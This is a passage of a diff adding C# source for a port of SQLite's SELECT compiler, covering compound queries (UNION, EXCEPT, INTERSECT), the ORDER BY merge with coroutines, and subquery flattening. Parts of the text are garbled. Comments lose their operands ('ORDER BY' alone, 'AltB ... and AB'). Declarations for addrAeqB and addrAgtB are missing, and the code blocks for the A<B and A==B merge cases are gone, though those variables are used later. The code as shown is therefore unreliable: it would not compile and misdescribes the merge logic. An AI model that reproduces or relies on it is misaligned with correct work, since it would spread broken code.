p.pEList.nExpr, + null, -1, dest, iCont, iBreak ); + sqlite3VdbeResolveLabel( v, iCont ); + sqlite3VdbeAddOp2( v, OP_Next, unionTab, iStart ); + sqlite3VdbeResolveLabel( v, iBreak ); + sqlite3VdbeAddOp2( v, OP_Close, unionTab, 0 ); + } + break; + } + default: + Debug.Assert( p.op == TK_INTERSECT ); + { + int tab1, tab2; + int iCont, iBreak, iStart; + Expr pLimit, pOffset; + int addr; + SelectDest intersectdest = new SelectDest(); + int r1; + + /* INTERSECT is different from the others since it requires + ** two temporary tables. Hence it has its own case. Begin + ** by allocating the tables we will need. + */ + tab1 = pParse.nTab++; + tab2 = pParse.nTab++; + Debug.Assert( p.pOrderBy == null ); + + addr = sqlite3VdbeAddOp2( v, OP_OpenEphemeral, tab1, 0 ); + Debug.Assert( p.addrOpenEphm[0] == -1 ); + p.addrOpenEphm[0] = addr; + p.pRightmost.selFlags |= SF_UsesEphemeral; + Debug.Assert( p.pEList != null ); + + /* Code the SELECTs to our left into temporary table "tab1". + */ + sqlite3SelectDestInit( intersectdest, SRT_Union, tab1 ); + explainSetInteger( ref iSub1, pParse.iNextSelectId ); + rc = sqlite3Select( pParse, pPrior, ref intersectdest ); + if ( rc != 0 ) + { + goto multi_select_end; + } + + /* Code the current SELECT into temporary table "tab2" + */ + addr = sqlite3VdbeAddOp2( v, OP_OpenEphemeral, tab2, 0 ); + Debug.Assert( p.addrOpenEphm[1] == -1 ); + p.addrOpenEphm[1] = addr; + p.pPrior = null; + pLimit = p.pLimit; + p.pLimit = null; + pOffset = p.pOffset; + p.pOffset = null; + intersectdest.iParm = tab2; + explainSetInteger( ref iSub2, pParse.iNextSelectId ); + rc = sqlite3Select( pParse, p, ref intersectdest ); + testcase( rc != SQLITE_OK ); + p.pPrior = pPrior; + if ( p.nSelectRow > pPrior.nSelectRow ) + p.nSelectRow = pPrior.nSelectRow; + sqlite3ExprDelete( db, ref p.pLimit ); + p.pLimit = pLimit; + p.pOffset = pOffset; + + /* Generate code to take the intersection of the two temporary + ** tables. + */ + Debug.Assert( p.pEList != null ); + if ( dest.eDest == SRT_Output ) + { + Select pFirst = p; + while ( pFirst.pPrior != null ) + pFirst = pFirst.pPrior; + generateColumnNames( pParse, null, pFirst.pEList ); + } + iBreak = sqlite3VdbeMakeLabel( v ); + iCont = sqlite3VdbeMakeLabel( v ); + computeLimitRegisters( pParse, p, iBreak ); + sqlite3VdbeAddOp2( v, OP_Rewind, tab1, iBreak ); + r1 = sqlite3GetTempReg( pParse ); + iStart = sqlite3VdbeAddOp2( v, OP_RowKey, tab1, r1 ); + sqlite3VdbeAddOp4Int( v, OP_NotFound, tab2, iCont, r1, 0 ); + sqlite3ReleaseTempReg( pParse, r1 ); + selectInnerLoop( pParse, p, p.pEList, tab1, p.pEList.nExpr, + null, -1, dest, iCont, iBreak ); + sqlite3VdbeResolveLabel( v, iCont ); + sqlite3VdbeAddOp2( v, OP_Next, tab1, iStart ); + sqlite3VdbeResolveLabel( v, iBreak ); + sqlite3VdbeAddOp2( v, OP_Close, tab2, 0 ); + sqlite3VdbeAddOp2( v, OP_Close, tab1, 0 ); + break; + } + } + + explainComposite( pParse, p.op, iSub1, iSub2, p.op != TK_ALL ); + + /* Compute collating sequences used by + ** temporary tables needed to implement the compound select. + ** Attach the KeyInfo structure to all temporary tables. + ** + ** This section is run by the right-most SELECT statement only. + ** SELECT statements to the left always skip this part. The right-most + ** SELECT might also skip this part if it has no ORDER BY clause and + ** no temp tables are required. + */ + if ( ( p.selFlags & SF_UsesEphemeral ) != 0 ) + { + int i; /* Loop counter */ + KeyInfo pKeyInfo; /* Collating sequence for the result set */ + Select pLoop; /* For looping through SELECT statements */ + CollSeq apColl; /* For looping through pKeyInfo.aColl[] */ + int nCol; /* Number of columns in result set */ + + Debug.Assert( p.pRightmost == p ); + nCol = p.pEList.nExpr; + pKeyInfo = new KeyInfo(); //sqlite3DbMallocZero(db, + pKeyInfo.aColl = new CollSeq[nCol]; //sizeof(*pKeyInfo)+nCol*(CollSeq*.Length + 1)); + //if ( pKeyInfo == null ) + //{ + // rc = SQLITE_NOMEM; + // goto multi_select_end; + //} + + pKeyInfo.enc = db.aDbStatic[0].pSchema.enc;// ENC( pParse.db ); + pKeyInfo.nField = (u16)nCol; + + for ( i = 0; i < nCol; i++ ) + {//, apColl++){ + apColl = multiSelectCollSeq( pParse, p, i ); + if ( null == apColl ) + { + apColl = db.pDfltColl; + } + pKeyInfo.aColl[i] = apColl; + } + + for ( pLoop = p; pLoop != null; pLoop = pLoop.pPrior ) + { + for ( i = 0; i < 2; i++ ) + { + int addr = pLoop.addrOpenEphm[i]; + if ( addr < 0 ) + { + /* If [0] is unused then [1] is also unused. So we can + ** always safely abort as soon as the first unused slot is found */ + Debug.Assert( pLoop.addrOpenEphm[1] < 0 ); + break; + } + sqlite3VdbeChangeP2( v, addr, nCol ); + sqlite3VdbeChangeP4( v, addr, pKeyInfo, P4_KEYINFO ); + pLoop.addrOpenEphm[i] = -1; + } + } + sqlite3DbFree( db, ref pKeyInfo ); + } + +multi_select_end: + pDest.iMem = dest.iMem; + pDest.nMem = dest.nMem; + sqlite3SelectDelete( db, ref pDelete ); + return rc; + } +#endif // * SQLITE_OMIT_COMPOUND_SELECT */ + + /* +** Code an output subroutine for a coroutine implementation of a +** SELECT statment. +** +** The data to be output is contained in pIn.iMem. There are +** pIn.nMem columns to be output. pDest is where the output should +** be sent. +** +** regReturn is the number of the register holding the subroutine +** return address. +** +** If regPrev>0 then it is the first register in a vector that +** records the previous output. mem[regPrev] is a flag that is false +** if there has been no previous output. If regPrev>0 then code is +** generated to suppress duplicates. pKeyInfo is used for comparing +** keys. +** +** If the LIMIT found in p.iLimit is reached, jump immediately to +** iBreak. +*/ + static int generateOutputSubroutine( + Parse pParse, /* Parsing context */ + Select p, /* The SELECT statement */ + SelectDest pIn, /* Coroutine supplying data */ + SelectDest pDest, /* Where to send the data */ + int regReturn, /* The return address register */ + int regPrev, /* Previous result register. No uniqueness if 0 */ + KeyInfo pKeyInfo, /* For comparing with previous entry */ + int p4type, /* The p4 type for pKeyInfo */ + int iBreak /* Jump here if we hit the LIMIT */ + ) + { + Vdbe v = pParse.pVdbe; + int iContinue; + int addr; + + addr = sqlite3VdbeCurrentAddr( v ); + iContinue = sqlite3VdbeMakeLabel( v ); + + /* Suppress duplicates for UNION, EXCEPT, and INTERSECT + */ + if ( regPrev != 0 ) + { + int j1, j2; + j1 = sqlite3VdbeAddOp1( v, OP_IfNot, regPrev ); + j2 = sqlite3VdbeAddOp4( v, OP_Compare, pIn.iMem, regPrev + 1, pIn.nMem, + pKeyInfo, p4type ); + sqlite3VdbeAddOp3( v, OP_Jump, j2 + 2, iContinue, j2 + 2 ); + sqlite3VdbeJumpHere( v, j1 ); + sqlite3ExprCodeCopy( pParse, pIn.iMem, regPrev + 1, pIn.nMem ); + sqlite3VdbeAddOp2( v, OP_Integer, 1, regPrev ); + } + //if ( pParse.db.mallocFailed != 0 ) return 0; + + /* Suppress the the first OFFSET entries if there is an OFFSET clause + */ + codeOffset( v, p, iContinue ); + + switch ( pDest.eDest ) + { + /* Store the result as data using a unique key. + */ + case SRT_Table: + case SRT_EphemTab: + { + int r1 = sqlite3GetTempReg( pParse ); + int r2 = sqlite3GetTempReg( pParse ); + testcase( pDest.eDest == SRT_Table ); + testcase( pDest.eDest == SRT_EphemTab ); + sqlite3VdbeAddOp3( v, OP_MakeRecord, pIn.iMem, pIn.nMem, r1 ); + sqlite3VdbeAddOp2( v, OP_NewRowid, pDest.iParm, r2 ); + sqlite3VdbeAddOp3( v, OP_Insert, pDest.iParm, r1, r2 ); + sqlite3VdbeChangeP5( v, OPFLAG_APPEND ); + sqlite3ReleaseTempReg( pParse, r2 ); + sqlite3ReleaseTempReg( pParse, r1 ); + break; + } + +#if !SQLITE_OMIT_SUBQUERY + /* If we are creating a set for an "expr IN (SELECT ...)" construct, +** then there should be a single item on the stack. Write this +** item into the set table with bogus data. +*/ + case SRT_Set: + { + int r1; + Debug.Assert( pIn.nMem == 1 ); + p.affinity = + sqlite3CompareAffinity( p.pEList.a[0].pExpr, pDest.affinity ); + r1 = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp4( v, OP_MakeRecord, pIn.iMem, 1, r1, p.affinity, 1 ); + sqlite3ExprCacheAffinityChange( pParse, pIn.iMem, 1 ); + sqlite3VdbeAddOp2( v, OP_IdxInsert, pDest.iParm, r1 ); + sqlite3ReleaseTempReg( pParse, r1 ); + break; + } + +#if FALSE //* Never occurs on an ORDER BY query */ +/* If any row exist in the result set, record that fact and abort. +*/ +case SRT_Exists: { +sqlite3VdbeAddOp2(v, OP_Integer, 1, pDest.iParm); +/* The LIMIT clause will terminate the loop for us */ +break; +} +#endif + + /* If this is a scalar select that is part of an expression, then +** store the results in the appropriate memory cell and break out +** of the scan loop. +*/ + case SRT_Mem: + { + Debug.Assert( pIn.nMem == 1 ); + sqlite3ExprCodeMove( pParse, pIn.iMem, pDest.iParm, 1 ); + /* The LIMIT clause will jump out of the loop for us */ + break; + } +#endif //* #if !SQLITE_OMIT_SUBQUERY */ + + /* The results are stored in a sequence of registers +** starting at pDest.iMem. Then the co-routine yields. +*/ + case SRT_Coroutine: + { + if ( pDest.iMem == 0 ) + { + pDest.iMem = sqlite3GetTempRange( pParse, pIn.nMem ); + pDest.nMem = pIn.nMem; + } + sqlite3ExprCodeMove( pParse, pIn.iMem, pDest.iMem, pDest.nMem ); + sqlite3VdbeAddOp1( v, OP_Yield, pDest.iParm ); + break; + } + + /* If none of the above, then the result destination must be + ** SRT_Output. This routine is never called with any other + ** destination other than the ones handled above or SRT_Output. + ** + ** For SRT_Output, results are stored in a sequence of registers. + ** Then the OP_ResultRow opcode is used to cause sqlite3_step() to + ** return the next row of result. + */ + default: + { + Debug.Assert( pDest.eDest == SRT_Output ); + sqlite3VdbeAddOp2( v, OP_ResultRow, pIn.iMem, pIn.nMem ); + sqlite3ExprCacheAffinityChange( pParse, pIn.iMem, pIn.nMem ); + break; + } + } + + /* Jump to the end of the loop if the LIMIT is reached. + */ + if ( p.iLimit != 0 ) + { + sqlite3VdbeAddOp3( v, OP_IfZero, p.iLimit, iBreak, -1 ); + } + + /* Generate the subroutine return + */ + sqlite3VdbeResolveLabel( v, iContinue ); + sqlite3VdbeAddOp1( v, OP_Return, regReturn ); + + return addr; + } + + /* + ** Alternative compound select code generator for cases when there + ** is an ORDER BY clause. + ** + ** We assume a query of the following form: + ** + ** ORDER BY + ** + ** is one of UNION ALL, UNION, EXCEPT, or INTERSECT. The idea + ** is to code both and with the ORDER BY clause as + ** co-routines. Then run the co-routines in parallel and merge the results + ** into the output. In addition to the two coroutines (called selectA and + ** selectB) there are 7 subroutines: + ** + ** outA: Move the output of the selectA coroutine into the output + ** of the compound query. + ** + ** outB: Move the output of the selectB coroutine into the output + ** of the compound query. (Only generated for UNION and + ** UNION ALL. EXCEPT and INSERTSECT never output a row that + ** appears only in B.) + ** + ** AltB: Called when there is data from both coroutines and AB. + ** + ** EofA: Called when data is exhausted from selectA. + ** + ** EofB: Called when data is exhausted from selectB. + ** + ** The implementation of the latter five subroutines depend on which + ** is used: + ** + ** + ** UNION ALL UNION EXCEPT INTERSECT + ** ------------- ----------------- -------------- ----------------- + ** AltB: outA, nextA outA, nextA outA, nextA nextA + ** + ** AeqB: outA, nextA nextA nextA outA, nextA + ** + ** AgtB: outB, nextB outB, nextB nextB nextB + ** + ** EofA: outB, nextB outB, nextB halt halt + ** + ** EofB: outA, nextA outA, nextA outA, nextA halt + ** + ** In the AltB, AeqB, and AgtB subroutines, an EOF on A following nextA + ** causes an immediate jump to EofA and an EOF on B following nextB causes + ** an immediate jump to EofB. Within EofA and EofB, and EOF on entry or + ** following nextX causes a jump to the end of the select processing. + ** + ** Duplicate removal in the UNION, EXCEPT, and INTERSECT cases is handled + ** within the output subroutine. The regPrev register set holds the previously + ** output value. A comparison is made against this value and the output + ** is skipped if the next results would be the same as the previous. + ** + ** The implementation plan is to implement the two coroutines and seven + ** subroutines first, then put the control logic at the bottom. Like this: + ** + ** goto Init + ** coA: coroutine for left query (A) + ** coB: coroutine for right query (B) + ** outA: output one row of A + ** outB: output one row of B (UNION and UNION ALL only) + ** EofA: ... + ** EofB: ... + ** AltB: ... + ** AeqB: ... + ** AgtB: ... + ** Init: initialize coroutine registers + ** yield coA + ** if eof(A) goto EofA + ** yield coB + ** if eof(B) goto EofB + ** Cmpr: Compare A, B + ** Jump AltB, AeqB, AgtB + ** End: ... + ** + ** We call AltB, AeqB, AgtB, EofA, and EofB "subroutines" but they are not + ** actually called using Gosub and they do not Return. EofA and EofB loop + ** until all data is exhausted then jump to the "end" labe. AltB, AeqB, + ** and AgtB jump to either L2 or to one of EofA or EofB. + */ +#if !SQLITE_OMIT_COMPOUND_SELECT + static int multiSelectOrderBy( + Parse pParse, /* Parsing context */ + Select p, /* The right-most of SELECTs to be coded */ + SelectDest pDest /* What to do with query results */ + ) + { + int i, j; /* Loop counters */ + Select pPrior; /* Another SELECT immediately to our left */ + Vdbe v; /* Generate code to this VDBE */ + SelectDest destA = new SelectDest(); /* Destination for coroutine A */ + SelectDest destB = new SelectDest(); /* Destination for coroutine B */ + int regAddrA; /* Address register for select-A coroutine */ + int regEofA; /* Flag to indicate when select-A is complete */ + int regAddrB; /* Address register for select-B coroutine */ + int regEofB; /* Flag to indicate when select-B is complete */ + int addrSelectA; /* Address of the select-A coroutine */ + int addrSelectB; /* Address of the select-B coroutine */ + int regOutA; /* Address register for the output-A subroutine */ + int regOutB; /* Address register for the output-B subroutine */ + int addrOutA; /* Address of the output-A subroutine */ + int addrOutB = 0; /* Address of the output-B subroutine */ + int addrEofA; /* Address of the select-A-exhausted subroutine */ + int addrEofB; /* Address of the select-B-exhausted subroutine */ + int addrAltB; /* Address of the AB subroutine */ + int regLimitA; /* Limit register for select-A */ + int regLimitB; /* Limit register for select-A */ + int regPrev; /* A range of registers to hold previous output */ + int savedLimit; /* Saved value of p.iLimit */ + int savedOffset; /* Saved value of p.iOffset */ + int labelCmpr; /* Label for the start of the merge algorithm */ + int labelEnd; /* Label for the end of the overall SELECT stmt */ + int j1; /* Jump instructions that get retargetted */ + int op; /* One of TK_ALL, TK_UNION, TK_EXCEPT, TK_INTERSECT */ + KeyInfo pKeyDup = null; /* Comparison information for duplicate removal */ + KeyInfo pKeyMerge; /* Comparison information for merging rows */ + sqlite3 db; /* Database connection */ + ExprList pOrderBy; /* The ORDER BY clause */ + int nOrderBy; /* Number of terms in the ORDER BY clause */ + int[] aPermute; /* Mapping from ORDER BY terms to result set columns */ +#if !SQLITE_OMIT_EXPLAIN + int iSub1 = 0; /* EQP id of left-hand query */ + int iSub2 = 0; /* EQP id of right-hand query */ +#endif + + Debug.Assert( p.pOrderBy != null ); + Debug.Assert( pKeyDup == null ); /* "Managed" code needs this. Ticket #3382. */ + db = pParse.db; + v = pParse.pVdbe; + Debug.Assert( v != null ); /* Already thrown the error if VDBE alloc failed */ + labelEnd = sqlite3VdbeMakeLabel( v ); + labelCmpr = sqlite3VdbeMakeLabel( v ); + + + /* Patch up the ORDER BY clause + */ + op = p.op; + pPrior = p.pPrior; + Debug.Assert( pPrior.pOrderBy == null ); + pOrderBy = p.pOrderBy; + Debug.Assert( pOrderBy != null ); + nOrderBy = pOrderBy.nExpr; + + /* For operators other than UNION ALL we have to make sure that + ** the ORDER BY clause covers every term of the result set. Add + ** terms to the ORDER BY clause as necessary. + */ + if ( op != TK_ALL ) + { + for ( i = 1; /* db.mallocFailed == 0 && */ i <= p.pEList.nExpr; i++ ) + { + ExprList_item pItem; + for ( j = 0; j < nOrderBy; j++ )//, pItem++) + { + pItem = pOrderBy.a[j]; + Debug.Assert( pItem.iCol > 0 ); + if ( pItem.iCol == i ) + break; + } + if ( j == nOrderBy ) + { + Expr pNew = sqlite3Expr( db, TK_INTEGER, null ); + //if ( pNew == null ) + // return SQLITE_NOMEM; + pNew.flags |= EP_IntValue; + pNew.u.iValue = i; + pOrderBy = sqlite3ExprListAppend( pParse, pOrderBy, pNew ); + pOrderBy.a[nOrderBy++].iCol = (u16)i; + } + } + } + + /* Compute the comparison permutation and keyinfo that is used with + ** the permutation used to determine if the next + ** row of results comes from selectA or selectB. Also add explicit + ** collations to the ORDER BY clause terms so that when the subqueries + ** to the right and the left are evaluated, they use the correct + ** collation. + */ + aPermute = new int[nOrderBy];// sqlite3DbMallocRaw( db, sizeof( int ) * nOrderBy ); + if ( aPermute != null ) + { + ExprList_item pItem; + for ( i = 0; i < nOrderBy; i++ )//, pItem++) + { + pItem = pOrderBy.a[i]; + Debug.Assert( pItem.iCol > 0 && pItem.iCol <= p.pEList.nExpr ); + aPermute[i] = pItem.iCol - 1; + } + pKeyMerge = new KeyInfo();// sqlite3DbMallocRaw(db, sizeof(*pKeyMerge)+nOrderBy*(sizeof(CollSeq)+1)); + if ( pKeyMerge != null ) + { + pKeyMerge.aColl = new CollSeq[nOrderBy]; + pKeyMerge.aSortOrder = new byte[nOrderBy];//(u8)&pKeyMerge.aColl[nOrderBy]; + pKeyMerge.nField = (u16)nOrderBy; + pKeyMerge.enc = ENC( db ); + for ( i = 0; i < nOrderBy; i++ ) + { + CollSeq pColl; + Expr pTerm = pOrderBy.a[i].pExpr; + if ( ( pTerm.flags & EP_ExpCollate ) != 0 ) + { + pColl = pTerm.pColl; + } + else + { + pColl = multiSelectCollSeq( pParse, p, aPermute[i] ); + pTerm.flags |= EP_ExpCollate; + pTerm.pColl = pColl; + } + pKeyMerge.aColl[i] = pColl; + pKeyMerge.aSortOrder[i] = (byte)pOrderBy.a[i].sortOrder; + } + } + } + else + { + pKeyMerge = null; + } + + /* Reattach the ORDER BY clause to the query. + */ + p.pOrderBy = pOrderBy; + pPrior.pOrderBy = sqlite3ExprListDup( pParse.db, pOrderBy, 0 ); + + /* Allocate a range of temporary registers and the KeyInfo needed + ** for the logic that removes duplicate result rows when the + ** operator is UNION, EXCEPT, or INTERSECT (but not UNION ALL). + */ + if ( op == TK_ALL ) + { + regPrev = 0; + } + else + { + int nExpr = p.pEList.nExpr; + Debug.Assert( nOrderBy >= nExpr /*|| db.mallocFailed != 0 */ ); + regPrev = sqlite3GetTempRange( pParse, nExpr + 1 ); + sqlite3VdbeAddOp2( v, OP_Integer, 0, regPrev ); + pKeyDup = new KeyInfo();//sqlite3DbMallocZero(db, + //sizeof(*pKeyDup) + nExpr*(sizeof(CollSeq)+1) ); + if ( pKeyDup != null ) + { + pKeyDup.aColl = new CollSeq[nExpr]; + pKeyDup.aSortOrder = new byte[nExpr];//(u8)&pKeyDup.aColl[nExpr]; + pKeyDup.nField = (u16)nExpr; + pKeyDup.enc = ENC( db ); + for ( i = 0; i < nExpr; i++ ) + { + pKeyDup.aColl[i] = multiSelectCollSeq( pParse, p, i ); + pKeyDup.aSortOrder[i] = 0; + } + } + } + + /* Separate the left and the right query from one another + */ + p.pPrior = null; + sqlite3ResolveOrderGroupBy( pParse, p, p.pOrderBy, "ORDER" ); + if ( pPrior.pPrior == null ) + { + sqlite3ResolveOrderGroupBy( pParse, pPrior, pPrior.pOrderBy, "ORDER" ); + } + + /* Compute the limit registers */ + computeLimitRegisters( pParse, p, labelEnd ); + if ( p.iLimit != 0 && op == TK_ALL ) + { + regLimitA = ++pParse.nMem; + regLimitB = ++pParse.nMem; + sqlite3VdbeAddOp2( v, OP_Copy, ( p.iOffset != 0 ) ? p.iOffset + 1 : p.iLimit, + regLimitA ); + sqlite3VdbeAddOp2( v, OP_Copy, regLimitA, regLimitB ); + } + else + { + regLimitA = regLimitB = 0; + } + sqlite3ExprDelete( db, ref p.pLimit ); + p.pLimit = null; + sqlite3ExprDelete( db, ref p.pOffset ); + p.pOffset = null; + + regAddrA = ++pParse.nMem; + regEofA = ++pParse.nMem; + regAddrB = ++pParse.nMem; + regEofB = ++pParse.nMem; + regOutA = ++pParse.nMem; + regOutB = ++pParse.nMem; + sqlite3SelectDestInit( destA, SRT_Coroutine, regAddrA ); + sqlite3SelectDestInit( destB, SRT_Coroutine, regAddrB ); + + /* Jump past the various subroutines and coroutines to the main + ** merge loop + */ + j1 = sqlite3VdbeAddOp0( v, OP_Goto ); + addrSelectA = sqlite3VdbeCurrentAddr( v ); + + + /* Generate a coroutine to evaluate the SELECT statement to the + ** left of the compound operator - the "A" select. + */ + VdbeNoopComment( v, "Begin coroutine for left SELECT" ); + pPrior.iLimit = regLimitA; + explainSetInteger( ref iSub1, pParse.iNextSelectId ); + sqlite3Select( pParse, pPrior, ref destA ); + sqlite3VdbeAddOp2( v, OP_Integer, 1, regEofA ); + sqlite3VdbeAddOp1( v, OP_Yield, regAddrA ); + VdbeNoopComment( v, "End coroutine for left SELECT" ); + + /* Generate a coroutine to evaluate the SELECT statement on + ** the right - the "B" select + */ + addrSelectB = sqlite3VdbeCurrentAddr( v ); + VdbeNoopComment( v, "Begin coroutine for right SELECT" ); + savedLimit = p.iLimit; + savedOffset = p.iOffset; + p.iLimit = regLimitB; + p.iOffset = 0; + explainSetInteger( ref iSub2, pParse.iNextSelectId ); + sqlite3Select( pParse, p, ref destB ); + p.iLimit = savedLimit; + p.iOffset = savedOffset; + sqlite3VdbeAddOp2( v, OP_Integer, 1, regEofB ); + sqlite3VdbeAddOp1( v, OP_Yield, regAddrB ); + VdbeNoopComment( v, "End coroutine for right SELECT" ); + + /* Generate a subroutine that outputs the current row of the A + ** select as the next output row of the compound select. + */ + VdbeNoopComment( v, "Output routine for A" ); + addrOutA = generateOutputSubroutine( pParse, + p, destA, pDest, regOutA, + regPrev, pKeyDup, P4_KEYINFO_HANDOFF, labelEnd ); + + /* Generate a subroutine that outputs the current row of the B + ** select as the next output row of the compound select. + */ + if ( op == TK_ALL || op == TK_UNION ) + { + VdbeNoopComment( v, "Output routine for B" ); + addrOutB = generateOutputSubroutine( pParse, + p, destB, pDest, regOutB, + regPrev, pKeyDup, P4_KEYINFO_STATIC, labelEnd ); + } + + /* Generate a subroutine to run when the results from select A + ** are exhausted and only data in select B remains. + */ + VdbeNoopComment( v, "eof-A subroutine" ); + if ( op == TK_EXCEPT || op == TK_INTERSECT ) + { + addrEofA = sqlite3VdbeAddOp2( v, OP_Goto, 0, labelEnd ); + } + else + { + addrEofA = sqlite3VdbeAddOp2( v, OP_If, regEofB, labelEnd ); + sqlite3VdbeAddOp2( v, OP_Gosub, regOutB, addrOutB ); + sqlite3VdbeAddOp1( v, OP_Yield, regAddrB ); + sqlite3VdbeAddOp2( v, OP_Goto, 0, addrEofA ); + p.nSelectRow += pPrior.nSelectRow; + } + + /* Generate a subroutine to run when the results from select B + ** are exhausted and only data in select A remains. + */ + if ( op == TK_INTERSECT ) + { + addrEofB = addrEofA; + if ( p.nSelectRow > pPrior.nSelectRow ) + p.nSelectRow = pPrior.nSelectRow; + } + else + { + VdbeNoopComment( v, "eof-B subroutine" ); + addrEofB = sqlite3VdbeAddOp2( v, OP_If, regEofA, labelEnd ); + sqlite3VdbeAddOp2( v, OP_Gosub, regOutA, addrOutA ); + sqlite3VdbeAddOp1( v, OP_Yield, regAddrA ); + sqlite3VdbeAddOp2( v, OP_Goto, 0, addrEofB ); + } + + /* Generate code to handle the case of AB + */ + VdbeNoopComment( v, "A-gt-B subroutine" ); + addrAgtB = sqlite3VdbeCurrentAddr( v ); + if ( op == TK_ALL || op == TK_UNION ) + { + sqlite3VdbeAddOp2( v, OP_Gosub, regOutB, addrOutB ); + } + sqlite3VdbeAddOp1( v, OP_Yield, regAddrB ); + sqlite3VdbeAddOp2( v, OP_If, regEofB, addrEofB ); + sqlite3VdbeAddOp2( v, OP_Goto, 0, labelCmpr ); + + /* This code runs once to initialize everything. + */ + sqlite3VdbeJumpHere( v, j1 ); + sqlite3VdbeAddOp2( v, OP_Integer, 0, regEofA ); + sqlite3VdbeAddOp2( v, OP_Integer, 0, regEofB ); + sqlite3VdbeAddOp2( v, OP_Gosub, regAddrA, addrSelectA ); + sqlite3VdbeAddOp2( v, OP_Gosub, regAddrB, addrSelectB ); + sqlite3VdbeAddOp2( v, OP_If, regEofA, addrEofA ); + sqlite3VdbeAddOp2( v, OP_If, regEofB, addrEofB ); + + /* Implement the main merge loop + */ + sqlite3VdbeResolveLabel( v, labelCmpr ); + sqlite3VdbeAddOp4( v, OP_Permutation, 0, 0, 0, aPermute, P4_INTARRAY ); + sqlite3VdbeAddOp4( v, OP_Compare, destA.iMem, destB.iMem, nOrderBy, + pKeyMerge, P4_KEYINFO_HANDOFF ); + sqlite3VdbeAddOp3( v, OP_Jump, addrAltB, addrAeqB, addrAgtB ); + + /* Release temporary registers + */ + if ( regPrev != 0 ) + { + sqlite3ReleaseTempRange( pParse, regPrev, nOrderBy + 1 ); + } + + /* Jump to the this point in order to terminate the query. + */ + sqlite3VdbeResolveLabel( v, labelEnd ); + + /* Set the number of output columns + */ + if ( pDest.eDest == SRT_Output ) + { + Select pFirst = pPrior; + while ( pFirst.pPrior != null ) + pFirst = pFirst.pPrior; + generateColumnNames( pParse, null, pFirst.pEList ); + } + + /* Reassembly the compound query so that it will be freed correctly + ** by the calling function */ + if ( p.pPrior != null ) + { + sqlite3SelectDelete( db, ref p.pPrior ); + } + p.pPrior = pPrior; + + /*** TBD: Insert subroutine calls to close cursors on incomplete + **** subqueries ****/ + explainComposite( pParse, p.op, iSub1, iSub2, false ); + return SQLITE_OK; + } +#endif +#if !(SQLITE_OMIT_SUBQUERY) || !(SQLITE_OMIT_VIEW) + /* Forward Declarations */ + //static void substExprList(sqlite3*, ExprList*, int, ExprList); + //static void substSelect(sqlite3*, Select *, int, ExprList ); + + /* + ** Scan through the expression pExpr. Replace every reference to + ** a column in table number iTable with a copy of the iColumn-th + ** entry in pEList. (But leave references to the ROWID column + ** unchanged.) + ** + ** This routine is part of the flattening procedure. A subquery + ** whose result set is defined by pEList appears as entry in the + ** FROM clause of a SELECT such that the VDBE cursor assigned to that + ** FORM clause entry is iTable. This routine make the necessary + ** changes to pExpr so that it refers directly to the source table + ** of the subquery rather the result set of the subquery. + */ + static Expr substExpr( + sqlite3 db, /* Report malloc errors to this connection */ + Expr pExpr, /* Expr in which substitution occurs */ + int iTable, /* Table to be substituted */ + ExprList pEList /* Substitute expressions */ + ) + { + if ( pExpr == null ) + return null; + if ( pExpr.op == TK_COLUMN && pExpr.iTable == iTable ) + { + if ( pExpr.iColumn < 0 ) + { + pExpr.op = TK_NULL; + } + else + { + Expr pNew; + Debug.Assert( pEList != null && pExpr.iColumn < pEList.nExpr ); + Debug.Assert( pExpr.pLeft == null && pExpr.pRight == null ); + pNew = sqlite3ExprDup( db, pEList.a[pExpr.iColumn].pExpr, 0 ); + if ( pExpr.pColl != null ) + { + pNew.pColl = pExpr.pColl; + } + sqlite3ExprDelete( db, ref pExpr ); + pExpr = pNew; + } + } + else + { + pExpr.pLeft = substExpr( db, pExpr.pLeft, iTable, pEList ); + pExpr.pRight = substExpr( db, pExpr.pRight, iTable, pEList ); + if ( ExprHasProperty( pExpr, EP_xIsSelect ) ) + { + substSelect( db, pExpr.x.pSelect, iTable, pEList ); + } + else + { + substExprList( db, pExpr.x.pList, iTable, pEList ); + } + } + return pExpr; + } + + static void substExprList( + sqlite3 db, /* Report malloc errors here */ + ExprList pList, /* List to scan and in which to make substitutes */ + int iTable, /* Table to be substituted */ + ExprList pEList /* Substitute values */ + ) + { + int i; + if ( pList == null ) + return; + for ( i = 0; i < pList.nExpr; i++ ) + { + pList.a[i].pExpr = substExpr( db, pList.a[i].pExpr, iTable, pEList ); + } + } + + static void substSelect( + sqlite3 db, /* Report malloc errors here */ + Select p, /* SELECT statement in which to make substitutions */ + int iTable, /* Table to be replaced */ + ExprList pEList /* Substitute values */ + ) + { + SrcList pSrc; + SrcList_item pItem; + int i; + if ( p == null ) + return; + substExprList( db, p.pEList, iTable, pEList ); + substExprList( db, p.pGroupBy, iTable, pEList ); + substExprList( db, p.pOrderBy, iTable, pEList ); + p.pHaving = substExpr( db, p.pHaving, iTable, pEList ); + p.pWhere = substExpr( db, p.pWhere, iTable, pEList ); + substSelect( db, p.pPrior, iTable, pEList ); + pSrc = p.pSrc; + Debug.Assert( pSrc != null ); /* Even for (SELECT 1) we have: pSrc!=0 but pSrc->nSrc==0 */ + if ( ALWAYS( pSrc ) ) + { + for ( i = pSrc.nSrc; i > 0; i-- )//, pItem++ ) + { + pItem = pSrc.a[pSrc.nSrc - i]; + substSelect( db, pItem.pSelect, iTable, pEList ); + } + } + } +#endif //* !SQLITE_OMIT_SUBQUERY) || !SQLITE_OMIT_VIEW) */ + +#if !(SQLITE_OMIT_SUBQUERY) || !(SQLITE_OMIT_VIEW) + /* +** This routine attempts to flatten subqueries in order to speed +** execution. It returns 1 if it makes changes and 0 if no flattening +** occurs. +** +** To understand the concept of flattening, consider the following +** query: +** +** SELECT a FROM (SELECT x+y AS a FROM t1 WHERE z<100) WHERE a>5 +** +** The default way of implementing this query is to execute the +** subquery first and store the results in a temporary table, then +** run the outer query on that temporary table. This requires two +** passes over the data. Furthermore, because the temporary table +** has no indices, the WHERE clause on the outer query cannot be +** optimized. +** +** This routine attempts to rewrite queries such as the above into +** a single flat select, like this: +** +** SELECT x+y AS a FROM t1 WHERE z<100 AND a>5 +** +** The code generated for this simpification gives the same result +** but only has to scan the data once. And because indices might +** exist on the table t1, a complete scan of the data might be +** avoided. +** +** Flattening is only attempted if all of the following are true: +** +** (1) The subquery and the outer query do not both use aggregates. +** +** (2) The subquery is not an aggregate or the outer query is not a join. +** +** (3) The subquery is not the right operand of a left outer join +** (Originally ticket #306. Strengthened by ticket #3300) +** +** (4) The subquery is not DISTINCT. +** +** (*) 